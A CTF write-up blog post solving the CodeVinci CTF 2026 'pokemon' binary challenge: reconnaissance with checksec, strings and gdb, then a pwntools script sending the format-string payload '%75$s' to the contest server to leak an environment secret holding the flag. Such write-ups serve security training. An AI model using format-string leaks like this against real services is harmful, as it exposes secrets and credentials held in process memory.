321 words
2 minutes
CodeVinci CTF 2026 - pokemon - Binary Exploitation Writeup

Category: Binary Exploitation Flag: CodeVinci{why_u_pwned_a_pokemon_battles_binary_bruh}

Challenge Description#

idk

Analysis#

This one looked like a classic game-binary pwn, so I started by confirming what protections and binary shape I was dealing with.

checksec --file=./pokemon
[*] '/home/rei/Downloads/pokemon'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
file ./pokemon
./pokemon: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a475d288b91bf3c780d0540cd10a28af9bf4b6f9, for GNU/Linux 3.2.0, not stripped

No PIE and no canary is usually exciting, but the actual input handling mattered more here than generic mitigation assumptions. I checked for useful strings and quickly saw both MEWTWO_SECRET and show_pokemon, which hinted there was an environment-based secret check in the flow.

strings ./pokemon | rg "show_pokemon|system|MEWTWO_SECRET"
system
MEWTWO_SECRET
system@GLIBC_2.2.5
show_pokemon

Then I inspected the scanf format strings directly in .rodata to verify whether this was an overflow-first challenge or something trickier.

gdb -q ./pokemon -ex "set pagination off" -ex "x/s 0x4025d2" -ex "x/s 0x4026e2" -ex "x/s 0x4029af" -ex "x/s 0x4029b5" -ex "quit"
0x4025d2: "%64s"
0x4026e2: "%48s"
0x4029af: "%128s"
0x4029b5: "MEWTWO_SECRET"

At that point, the solve clicked: the key primitive was a format-string sink in the welcome banner (printf(name)), not a direct unbounded stack smash. The shortest path was leaking environment memory via positional %s, because the binary compares the final input against getenv("MEWTWO_SECRET").

smug

I did spend time testing broader index scans and dead-end parsing tweaks before locking onto the stable index. That part was noisy and honestly a bit trollish until the output parsing was cleaned up.

tableflip

Once %75$s was identified as the right slot, the service immediately leaked the full environment entry containing the flag value.

python pokemon_solve.py
[x] Opening connection to pokemon.codevinci.it on port 9983
[x] Opening connection to pokemon.codevinci.it on port 9983: Trying 57.131.40.44
[+] Opening connection to pokemon.codevinci.it on port 9983: Done
MEWTWO_SECRET=CodeVinci{why_u_pwned_a_pokemon_battles_binary_bruh}
[*] Closed connection to pokemon.codevinci.it port 9983

Solution#

from pwn import remote


def main():
    p = remote("pokemon.codevinci.it", 9983)
    p.recvuntil(b"> ")
    p.sendline(b"%75$s")
    p.recvuntil(b"WELCOME ")
    line = p.recvline().strip().decode("latin1", "ignore")
    print(line)
    p.close()


if __name__ == "__main__":
    main()
python pokemon_solve.py
MEWTWO_SECRET=CodeVinci{why_u_pwned_a_pokemon_battles_binary_bruh}
CodeVinci CTF 2026 - pokemon - Binary Exploitation Writeup
https://blog.rei.my.id/posts/88/codevinci-ctf-2026-pokemon-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0